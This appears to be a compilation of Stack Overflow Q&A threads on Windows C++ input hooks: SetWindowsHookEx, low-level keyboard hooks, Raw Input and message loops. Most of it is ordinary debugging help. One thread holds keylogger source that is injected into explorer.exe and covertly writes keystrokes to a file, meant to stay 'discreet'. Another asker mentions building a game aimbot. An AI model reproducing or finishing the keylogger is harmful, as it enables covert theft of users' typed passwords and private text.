Globally installed keyboard hook prevents keyboard input to other applications - c++

I am setting a global hook for keyboard. When I give keyboard inputs to other applications, the application does not receive the input and it hangs. When the console is stopped, the application recovers and the keyboard inputs are posted together.
DLL source:
#include <iostream>
#include <Windows.h>
#include <string>
using namespace std;
#define DLLEXPORT __declspec(dllexport)
DLLEXPORT bool installhook();
DLLEXPORT void unhook();
DLLEXPORT string TestLoaded();
DLLEXPORT LRESULT CALLBACK KeyboardProc ( int code, WPARAM wParam, LPARAM lParam );
static HHOOK kb_hook;
string test = "not loaded";
HINSTANCE hDLL;
DLLEXPORT LRESULT CALLBACK KeyboardProc ( int code, WPARAM wParam, LPARAM lParam )
{
if(code == HC_ACTION) // if there is an incoming action and a key was pressed
{
switch(wParam)
{
case VK_SPACE:
printf("Space was pressed\n"); //tried without this also
MessageBoxA(NULL, "Hi", "Space", MB_OK);
break;
}
}
return CallNextHookEx(NULL, code, wParam, lParam);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
test = "loaded";
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hDLL = hModule;
break;
}
printf("test str = %s \n", test.c_str());
return TRUE;
}
bool installhook()
{
kb_hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hDLL, NULL);
if(!kb_hook)
{
return false;
}
return true;
}
void unhook()
{
if(kb_hook)
{
UnhookWindowsHookEx(kb_hook);
}
}
string TestLoaded()
{
return test;
}
Console applicatioon source:
#include <iostream>
#include <Windows.h>
#include <string>
#define DLLIMPORT __declspec(dllimport)
using namespace std;
DLLIMPORT void unhook();
DLLIMPORT bool installhook();
DLLIMPORT string TestLoaded();
int main()
{
cout << TestLoaded() <<endl;
installhook();
for(int i = 1; i<=10 ; i++)
{
//Do some keyboard activities in this 10 secs
Sleep(1000);
cout << i<<endl;
}
unhook();
cin.get();
return 1;
}
My suspicion was that since the dll will be loaded into each process in the process's own address space and console would not be present in other applications, it gets void and crashed. So I removed the console outputs and replaced with messagebox. Then also no difference.
What could be the problem?
Update:
I tried to do a local hook to a specific thread before trying it global. But I get Parameter is incorrect error 87 at setwindowshookex. Below are the updated code:
dll:
bool installhook(DWORD ThreadId) //exporting this function
{
kb_hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, NULL, ThreadId); //tried with the dll module's handle also instead of NULL
if(!kb_hook)
{
printf("SetWindowsHookEx failed : %d\n", GetLastError());
return false;
}
return true;
}
Console application source:
DWORD myThread()
{
cout<< "Thread started\n";
char str[250];
cin>>str;
return 0;
}
int main()
{
cout << TestLoaded() <<endl;
DWORD myThreadID;
HANDLE myHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)myThread, NULL, 0, &myThreadID);
installhook(myThreadID);
for(int i = 0; i<100 ; i++)
{
Sleep(100);
if(i%10 == 0)
{
cout << i<<endl;
}
}
unhook();
}

Try to use WH_KEYBOARD_LL. You can set global hook even without dll declaring hook function in you process. Plus, you should detect space action using PKBDLLHOOKSTRUCT struct
LRESULT CALLBACK KeyboardProc ( int code, WPARAM wParam, LPARAM lParam )
{
if ( code == HC_ACTION )
{
switch ( wParam )
{
case WM_KEYDOWN:
{
// Get hook struct
PKBDLLHOOKSTRUCT p = ( PKBDLLHOOKSTRUCT ) lParam;
if ( p->vkCode == VK_SPACE)
{
MessageBoxA( NULL, "Hi", "Space", MB_OK );
}
}
break;
}
}
return CallNextHookEx( NULL, code, wParam, lParam );
}
....
// Somewhere in code
kb_hook = SetWindowsHookEx( WH_KEYBOARD_LL, KeyboardProc, NULL, NULL );

Thanks for all the inputs in answers and comments.
I have found out the actual problem. The mistake I made was trying to use console window without any message queue.
If I understand correctly, console windows are hosted by conhost.exe and they don't have any message pumps. And the hook works correctly only if the application which installs it has a message queue (should explore more on why it's this way). See below for ways you can make it work
If you are not posting any message to the console application:
Replace the for loop in the console application's main with this:
MSG msg;
while(GetMessage(&msg, NULL, 0, 0) > 0)
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
In case you are posting any message to the console application:
Create a window using CreateWindowEx, there is an option for a message only window also. You would have to create a class and assign a CALLBACK process. Read here for more details. Create that and pass the handle along to the hook dll and postmessage to the handle. Use the loop for Getting msg and dispatching it (mentioned above). Then all the messages you post the dummy window from your hook dll can be processed using the CALLBACK window process.
References:
Why must SetWindowsHookEx be used with a windows message queue
CreateWindowEx MSDN

I had the same issue, working with QT, the GUI would be blocked (as planned) but whenever it came back online, it would process my keyboard and mouse clicks.
I am not sure if this is the most efficient way of handling it, but to solve this, I handled all the keyboard and mouse events separately. If, some task was in progress, I would just ignore the key event.
Otherwise I guess it just queues up and waits for its' turn!

Related

What's the best way to have a non-blocked thread permanently doing "nothing"?

I'm using low level hooks.
I have made this class:
class Kayz {
static int VKEY;
static void (*funcDown)();
static void (*funcUp)();
static HHOOK TheHook;
static KBDLLHOOKSTRUCT TheHookStruct;
static LRESULT _stdcall HookCallback(int, WPARAM, LPARAM);
public:
bool SetHook(int VKey, void(*FunctionDown)(), void(*FunctionUp)()) {
if (VKey < 0x07) {
if (!(TheHook = SetWindowsHookEx(WH_MOUSE_LL, &HookCallback, NULL, 0))) {
return false;
}
}
else if(VKey > 0x07){
if (!(TheHook = SetWindowsHookEx(WH_KEYBOARD_LL, &HookCallback, NULL, 0))) {
return false;
}
}
VKEY = VKey; funcDown = FunctionDown; funcUp = FunctionUp;
return true;
}
void UnSetHook() {
UnhookWindowsHookEx(TheHook);
}
};
int Kayz::VKEY;
void(*Kayz::funcDown)();
void(*Kayz::funcUp)();
HHOOK Kayz::TheHook;
KBDLLHOOKSTRUCT Kayz::TheHookStruct;
LRESULT _stdcall Kayz::HookCallback(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0) {
if (wParam == WM_KEYDOWN) {
TheHookStruct = *((KBDLLHOOKSTRUCT*)lParam);
if (TheHookStruct.vkCode == VKEY) {
(*funcDown)();
}
}
else if (wParam == WM_KEYUP)
{
TheHookStruct = *((KBDLLHOOKSTRUCT*)lParam);
if (TheHookStruct.vkCode == VKEY) {
(*funcUp)();
}
}
}
return CallNextHookEx(TheHook, nCode, wParam, lParam);
}
All the functions I put into SetHook do is change a bool variable in the main program so I can know whether or not the key is pressed. It seems to me that it's the most optimal way because I don't have to check for the key's state every time I loop in the main program.
Now.
Using a blocking timer such as Sleep() in the main program will block the program, including
return CallNextHookEx(TheHook, nCode, wParam, lParam);
That means that, as this is a low level hook, every other program is only gonna get the input when sleep ends. So if I press a key while in notepad, it's only gonna get typed when sleep ends and the program loops again, if I type a lot, they're gonna get typed most likely one at a time.
The only thing I've seen that is able to "bypass" this is
while(GetMessage(&msgVar, NULL, 0, 0)){}
GetMessage never or rarely returns, so it doesn't take up any system resources or processing power. It doesn't block because while is waiting for it to return. So basically, it's not doing anything but it isn't blocking either.
I need to have a thread that is doing something similar to this. That thread will be receiving the key press "events" and executing the functions that change the variables in the main program.
But this is dirty. I don't like dirty.
So I'd very much like to know:
How can I achieve non-blocking nothing, consuming the least possible resources, in a clean way?
Thank you.
EDIT:
As you asked: I'm making a memory aimbot strictly for learning purposes.
I have now spent quite a bit of time reading about MsgWaitForMultipleObjectsEx, and apparently you can just null the first 2 parameters, which comes in handy.
I was also thinking of doing this the wrong way, I was going to make a thread for the program to "hold" and still receive the async input from the hooks(which is why I didn't want it to block), and then the other(always-running) thread would work based on the bools that the functions the hook called would change.
I've now realized that's a rather bad design, so I'm thinking of using MsgWaitForMultipleObjectsEx in the main program, and checking that bool with it, pausing or resuming the aimbot thread if needed.
I'm now beginning to understand what #HarryJohnston said about the spaghetti logic, because I've got to organize what the async hook functions do with what the code that comes after MsgWaitForMultipleObjectsEx does, and those seem some rather difficult decisions.
I want to follow these hooks and get a full understanding of how this can all work, which is why I won't be using raw input right away, though thank you #nikau6 for informing me about it, I'll surely look into it when I'm done with hooks.
Once again thank you everyone.
"It seems to me that it's the most optimal way because I don't have to check for the key's state every time I loop in the main program."
There's a better way than hooks, not well known, to monitor the keyboard events on all the system. This is Raw Input.
With raw inputs, your application get informed of each keyboard, mouse, etc.., event, straight from the HID (Human Device Interface) driver. This is more efficient than hooks, and very simple to use. Your application don't need to export a procedure from a DLL, and because raw inputs are not hooks, no message have to be passed to an another procedure, to a another thread, after it was treated. (see one of my comments below about the DefRawInputProc procedure). The application gets the raw input through the WM_INPUT message. Unlike hooks, a window must be created, that's an obligation, a handle is asked.
Here's how I use Raw Input :
EDIT : And you'll not get the problem you have about the non-blocking thread.
#include <Windows.h>
#define HID_ISMOUSE(x) ((x).header.dwType == RIM_MOUSE)
#define HID_ISKEYBOARD(x) ((x).header.dwType == RIM_TYPEKEYBOARD)
#define HID_SCODE(x) ((x).data.keyboard.MakeCode) // scan code
#define HID_VKEY(x) ((x).data.keyboard.VKey) // virtual key code
#define HID_WMSG(x) ((x).data.keyboard.Message) // corresponding window message, WM_KEYDOWN, WM_SYSKEYDOWN, WM_KEYUP, WM_SYSKEYUP.
#define HID_ISKEYUP(x) ((x).data.keyboard.Flags & RI_KEY_BREAK)
#define HID_ISKEYDOWN(x) (((x).data.keyboard.Flags & 0x01) == RI_KEY_MAKE)
#define RAWINPUT_ERROR (UINT)-1
namespace HID
{
const USHORT MOUSE = 2;
const USHORT KEYBOARD = 6;
// Register a raw input device
bool RegisterDevice(HWND hTarget, USHORT usage)
{
RAWINPUTDEVICE hid;
hid.usUsagePage = 1; // generic desktop page
hid.usUsage = usage; // device id
hid.hwndTarget = hTarget; // window handle
hid.dwFlags = RIDEV_NOLEGACY | RIDEV_INPUTSINK ; // RIDEV_INPUTSINK to monitor all the system, RIDEV_NOLEGACY if you don't want legacy keyboard events.
return !!RegisterRawInputDevices(&hid, 1, sizeof(RAWINPUTDEVICE));
}
// Unregister a raw input device.
void UnregisterDevice(USHORT usage)
{
RAWINPUTDEVICE hid;
hid.usUsagePage = 1;
hid.usUsage = usage;
hid.dwFlags = RIDEV_REMOVE; // RIDEV_REMOVE to remove a device.
hid.hwndTarget = NULL; // NULL to remove a device.
RegisterRawInputDevices(&hid, 1, sizeof(RAWINPUTDEVICE));
}
// Get raw input data
bool GetInputData(HRAWINPUT hInput, RAWINPUT* RawInput)
{
UINT size = sizeof(RAWINPUT); // size = 40
if( GetRawInputData((HRAWINPUT)hInput, RID_INPUT, RawInput, &size, sizeof(RAWINPUTHEADER)) != RAWINPUT_ERROR )
return true;
else
return false;
}
}
int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE, LPWSTR cmd_line, int cmd_show)
{
WNDCLASSW wc = {0};
wc.lpfnWndProc = WindowProc;
...
HWND hwnd = ::CreateWindowW(...);
...
HID::RegisterDevice(hwnd, HID::KEYBOARD);
MSG msg;
while(GetMessageW(&msg, NULL, 0, 0))
{
DispatchMessageW(&msg);
}
HID::UnregisterDevice(HID::KEYBOARD);
return (int)msg.wParam;
}
LRESULT CALLBACK WindowProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
if(msg == WM_INPUT) // Raw input message.
{
RAWINPUT Input;
if(HID::GetInputData((HRAWINPUT)lParam, &Input))
{
if(HID_ISKEYBOARD(Input))
{
if(HID_ISKEYUP(Input))
{
return 0;
}
else // if(HID_ISKEYDOWN(Input))
{
return 0;
}
}
}
}
return ::DefWindowProc(hWnd, msg, wParam, lParam);
}
you need use MsgWaitForMultipleObjectsEx in loop this is most power function for you. with this you will be wait for windows(and hooks) messages, for multiple events (up to 63) also you can receiver user mode APC calls and periodically (by timeout do same tasks). example:
void ZApp::Run()
{
for (;;)
{
HANDLE* pHandles;
DWORD nCount = GetWaitHandles(&pHandles);
DWORD r = MsgWaitForMultipleObjectsEx(nCount, pHandles, GetTimeout(), QS_ALLINPUT, MWMO_ALERTABLE);
if (r < nCount)
{
OnSignalObject(r);
continue;
}
if (r == nCount)
{
BOOL bIdle = FALSE;
MSG msg;
while (PeekMessage(&msg, 0, 0, 0, PM_REMOVE))
{
if (!bIdle)
{
bIdle = IsIdleMessage(msg.message);
}
if (PreTranslateMessage(&msg)) continue;
if (msg.message == WM_QUIT)
{
return ;
}
if (!IsDialogMessageEx(&msg))
{
if (msg.message - WM_KEYFIRST <= WM_KEYLAST - WM_KEYFIRST)
{
TranslateMessage(&msg);
}
DispatchMessage(&msg);
}
}
if (bIdle)
{
OnIdle();
}
continue;
}
if (r - WAIT_ABANDONED_0 < nCount)
{
OnAbandonedObject(r - WAIT_ABANDONED_0);
continue;
}
switch(r)
{
case WAIT_TIMEOUT:
OnTimeout();
break;
case WAIT_IO_COMPLETION:
OnApcAlert();
break;
default: __debugbreak();
}
}
}
I've realized that having a thread permanently "on hold" when waiting for hooks to execute other functions is just a bad way of doing what I was looking for, you should always have every thread doing something. If you're following the same path I suggest you get off of it and organize your code in a way you don't have to have these "loose ends".
Thanks everyone. Mainly #RbMm who informed me of MsgWaitForMultipleObjectsEx and guided me through it, and #nikau6 who informed about RawInput, which I'll be using in the future.
I've also finalized the class and included a function that returns when your key is either pressed or released(false when MsgWaitForMultipleObjectsEx returns anything other than WAIT_OBJECT_0), figured I'd post it here in case anyone ever needs it since most of the conversation was made in the comments and I often skip those when browsing stackoverflow.
class Kayz {
static bool KDown[2];
static int VKEY;
static void (*funcDown)();
static void (*funcUp)();
static HHOOK TheHook;
static KBDLLHOOKSTRUCT TheHookStruct;
static LRESULT _stdcall HookCallback(int, WPARAM, LPARAM);
public:
bool SetHook(int VKey, void(*FunctionDown)(), void(*FunctionUp)()) {
if (VKey < 0x07) {
if (!(TheHook = SetWindowsHookEx(WH_MOUSE_LL, &HookCallback, NULL, 0))) {
return false;
}
}
else if(VKey > 0x07){
if (!(TheHook = SetWindowsHookEx(WH_KEYBOARD_LL, &HookCallback, NULL, 0))) {
return false;
}
}
VKEY = VKey; funcDown = FunctionDown; funcUp = FunctionUp;
return true;
}
void UnSetHook() {
UnhookWindowsHookEx(TheHook);
}
bool WaitOnKey()
{
MSG msg;
while (true) {
if (MsgWaitForMultipleObjectsEx(0, 0, INFINITE, QS_ALLINPUT, 0) == WAIT_OBJECT_0) {
while (PeekMessage(&msg, 0, 0, 0, PM_REMOVE)) {
if (msg.message != WM_QUIT) return false;
TranslateMessage(&msg); DispatchMessage(&msg);
}
if(KDown[0] == 0 && KDown[1] == 0){
continue;
}else if (KDown[0] == true) {
return true;
}else{
KDown[1] = false;
return true;
}
} else {
return false;
}
}
}
};
bool Kayz::KDown[2];
int Kayz::VKEY;
void(*Kayz::funcDown)();
void(*Kayz::funcUp)();
HHOOK Kayz::TheHook;
KBDLLHOOKSTRUCT Kayz::TheHookStruct;
LRESULT _stdcall Kayz::HookCallback(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0) {
if (wParam == WM_KEYDOWN) {
TheHookStruct = *((KBDLLHOOKSTRUCT*)lParam);
if (TheHookStruct.vkCode == VKEY) {
KDown[0] = true;
(*funcDown)();
}
}
else if (wParam == WM_KEYUP)
{
TheHookStruct = *((KBDLLHOOKSTRUCT*)lParam);
if (TheHookStruct.vkCode == VKEY) {
KDown[1] = true;
KDown[0] = false;
(*funcUp)();
}
}
}
return CallNextHookEx(TheHook, nCode, wParam, lParam);
}

Observe opened windows with SetWindowsHookEx

I'm trying to observe opening and closing windows with a global Windows hook. Therefore I'm trying to pass callback functions to the DLL containing my hook procedure. However, the hook procedure itself never gets called.
/** Handle to this DLL */
HINSTANCE dllModule = 0;
/** Hook procedure */
HHOOK windowHook = 0;
/** Callbacks are called when a new window is opened, or closed. */
HWND_CALLBACK windowOpenCallback = 0;
HWND_CALLBACK windowCloseCallback = 0;
WINDOWHOOK_API int WINAPI DllMain(HINSTANCE hInstance, DWORD reason, LPVOID reserved)
{
if(reason == DLL_PROCESS_ATTACH)
{
dllModule = hInstance;
std::cout << "Process attached." << std::endl;
}
else if (reason == DLL_PROCESS_DETACH)
{
std::cout << "Process detached." << std::endl;
}
else if (reason == DLL_THREAD_ATTACH)
{
}
else if (reason == DLL_THREAD_DETACH)
{
}
return 1;
}
WINDOWHOOK_API bool setWindowHook(HWND_CALLBACK openCallback, HWND_CALLBACK closeCallback)
{
if(windowHook != 0 || windowOpenCallback != 0 || windowCloseCallback != 0)
{
return false;
}
windowOpenCallback = openCallback;
windowCloseCallback = closeCallback;
windowHook = SetWindowsHookEx(WH_SHELL, (HOOKPROC)hookCallback, dllModule, 0);
return windowHook != 0;
}
WINDOWHOOK_API bool releaseWindowHook()
{
bool result = windowHook != 0 && UnhookWindowsHookEx(windowHook) != 0;
windowHook = 0;
windowOpenCallback = 0;
windowCloseCallback = 0;
return result;
}
LRESULT CALLBACK hookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
std::cout << "Hook callback" << std::endl;
return CallNextHookEx(windowHook, nCode, wParam, lParam);
}
From my main program, I load the library and call the setWindowHook procedure. I then simply start an infinite loop and wait for the hook to be called, but although the setWindowHook doesn't fail, the hook procedure is never called. I don't understand why.
I tried setting a WH_KEYBOARD hook. With that, the hook procedure got called on keypresses, but only if they were inside the console window of my program.
I'm compiling this to 32bit on a 64bit machine. However, shouldn't it at least work for all my 32bit applications?
Thanks in advance.
Thanks, I got it to work with the DLL and SetWindowsHookEx, however the SetWinEventHook solution works even better and you don't need a DLL for that.
The only problem was, that the WINEVENTHOOK has no LPVOID pointer attribute that we can pass a class instance to. So if you're looking for an OO-approach and are struggling with that, this codeproject link might help.
Also make sure, that whatever thread you set the hook from, has a message loop, or you won't receive any events.
while (!stopped)
{
if (PeekMessage(&msg, 0, 0, 0, PM_REMOVE))
{
// you don't have to do anything here
}
}

Infinite loop in a dll injected on explorer.exe

I'm trying to create a keylogger on windows 7. To do It, I have created a Dll (setHook.dll) that I inject in a new thread of explorer.exe. In this first DLL, I open an other dll which contains a function (hookfunc) called on each keyboard input.
I need to let my Dll works in background because if it dies, I lost my Hook function.
To do It, I have tried :
Sleep(INFINITE); : works a moment but explorer.exe crash
while(1); : works a moment but explorer.exe crash
system("pause") : working ! But I don't want a console appears on the screen, my keylogger has to be discreet.
getchar(): same as system("pause");
system("pause > null"); : access denied
this_thread::sleep_for(chrono::seconds(10)) : explorer crash
SetHook.dll :
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID)
{
HMODULE dll;
HOOKPROC addr;
HHOOK handle;
if (dwReason != DLL_PROCESS_ATTACH)
return true;
if (!(dll = LoadLibraryA("E:\\Projets\\Visual Studio 2013\\Projets\\inject\\x64\\Debug\\inject.dll")))
return false;
if (!(addr = (HOOKPROC)GetProcAddress(dll, "hookfunc")))
return false;
if (!(handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0)))
return false;
Sleep(INFINITE); //issue here
return true;
}
CallbackFunc : (I don't think it can help)
LRESULT CALLBACK hookfunc(int code, WPARAM wParam, LPARAM lParam)
{
std::ofstream file;
WORD buf = 0;
BYTE KeyState[256];
file.open("E:\\function.txt", std::ofstream::out | std::ofstream::app);
if (code >= 0 && KEYUP(lParam))
{
if (wParam == VK_RETURN)
file << "[ENTER]";
else
{
GetKeyboardState(KeyState);
ToAscii(wParam, lParam, KeyState, &buf, 0);
file << (char)buf;
}
}
file.close();
return (CallNextHookEx(NULL, code, wParam, lParam));
}
The code works, I just need a discreet infinite loop instead of Sleep(INFINITE). Any idea ?
Sleeping in DllMain is almost certainly a bad idea.
I assume you are trying to install a global hook. To do this, you need to run the message loop in your injector application, i.e. something like:
while(GetMessage(&msg, NULL, 0, 0 ))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}

SetWindowsHookEx(WH_KEYBOARD) not working with thread ID

I have a dll that gets called by a process and now I would like to implement an input check in the dll to react on certain inputs that occur in the application.
SetWindowsHookEx() with a KeyboardProc function seemed like a possible solution so I implemented it.
This is roughly how the code in the dll looks like:
static HHOOK hhk = NULL;
LRESULT CALLBACK keyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
if(code == HC_ACTION && ((DWORD)lParam & 0x80000000) == 0) // if there is an incoming action and a key was pressed
{
switch(wParam)
{
case VK_SPACE:
printf("Space was pressed\n");
break;
}
}
return CallNextHookEx(hhk, code, wParam, lParam);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
if(ul_reason_for_call == DLL_PROCESS_ATTACH)
{
if(AllocConsole()){
freopen("CONOUT$", "w", stdout); // redirect output to console for debugging
}
printf("Dll loaded, lastError = %i\n", GetLastError());
printf("lastError = %i\n", GetLastError());
// sidenote: for some reason the first GetLastError() returns 0 while the second one returns 6 (invalid handle)
hhk = SetWindowsHookEx(WH_KEYBOARD, keyboardProc, hModule, GetCurrentThreadId());
}
else if (ul_reason_for_call == DLL_PROCESS_DETACH)
{
printf("\nCleaning up...");
FreeConsole();
UnhookWindowsHookEx(hhk);
}
return TRUE;
}
However nothing happens (or gets printed) in the Console window when I press any key. It doesn't even seem like the keyboardProc function is accessed at any time.
It does work though when I pass NULL instead of GetCurrentThreadId() to SetWindowsHookEx().
But this causes the hook to work globally meaning that whenever I press a key in another application, a Console window pops up (because the dll gets called again) and he checks for key inputs there.
Obviously this is not desired and I would like to make this work with only the process that originally called the dll.
I already checked if GetCurrentThreadId() returns a valid ID and it seems to be indeed the main thread ID of the process that initially called the dll (checked with Process Explorer).
So now my question is what could be the problem and more importantly, what can I do to make it working?
[DllImport("user32.dll", SetLastError = true)]
static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
uint process_id;
uint thread_id = GetWindowThreadProcessId(windowHandle, out process_id);
hhook = SetWindowsHookEx(WH_KEYBOARD, a_KeyboardProc, hInstance, 0);
I have used the code above to get the main thread_ID for a certain process. The good part is, the SetWindowsHookEx function gives a logical output. Unfortunately, the bad part is, if a key is pressed in the thread that has been hooked, the thread stops working.
In specific, the idHook parameter of SetWindowsHoookEx function was set to 2 (instead of 13) in my case for non-low-level keyboard events. It seems, at least to me, that LL corresponds to low-level, where keyboardProc should come with a WH_KEYBOARD instead of WH_KEYBOARD_LL.
I am not sure at this point how my response would be related to your question. Hopefully, we get what we need through discussion.

How can I set up a CBT hook on a Win32 console window?

I've been trying to set up a CBT hook for my C++ Console application with the following code:
...includes...
typedef struct _HOOKDATA
{
int type;
HOOKPROC hookproc;
HHOOK hhook;
}_HOOKDATA;
_HOOKDATA hookdata;
//CBT
LRESULT CALLBACK CBTProc(int code, WPARAM wParam, LPARAM lParam)
{
//do not proccess message
if(code < 0)
{
cout<<"code less than 0"<<endl;
return CallNextHookEx(hookdata.hhook,code,wParam,lParam);
}
switch(code)
{
case HCBT_ACTIVATE:
break;
case HCBT_CREATEWND:
cout<<"CREATEWND"<<endl;
break;
case HCBT_MINMAX:
cout<<"MINMAX"<<endl;
break;
default: //unknown
cout<<"DEFAULT"<<endl;
break;
}
return CallNextHookEx(hookdata.hhook, code, wParam, lParam);
}
int main()
{
hookdata.type = WH_CBT;
hookdata.hookproc = CBTProc;
hookdata.hhook = ::SetWindowsHookEx(hookdata.type, CBTProc,
GetModuleHandle( 0 ), GetCurrentThreadId());
if(hookdata.hhook == NULL)
{
cout<<"FAIL"<<endl;
system("pause");
}
system("pause");
return 0;
}
The program seems to be working because there is not compile errors nor run time errors. Also I do not get a 'FAIL' message stated in the main() function meaning SetWindowHookEx is working OK. However, I don't get any of the messages stated in the CBTProc function; not even the 'DEFAULT' message. Can anyone pin-point what is the logic error in the code?
Thanks.
The problem is that SetWindowHookEx is based upon the Win32 message handling model. Console windows are children of the Kernel itself and do not create their own message pumps or windows.
AFAIK doing what you want directly is not possible.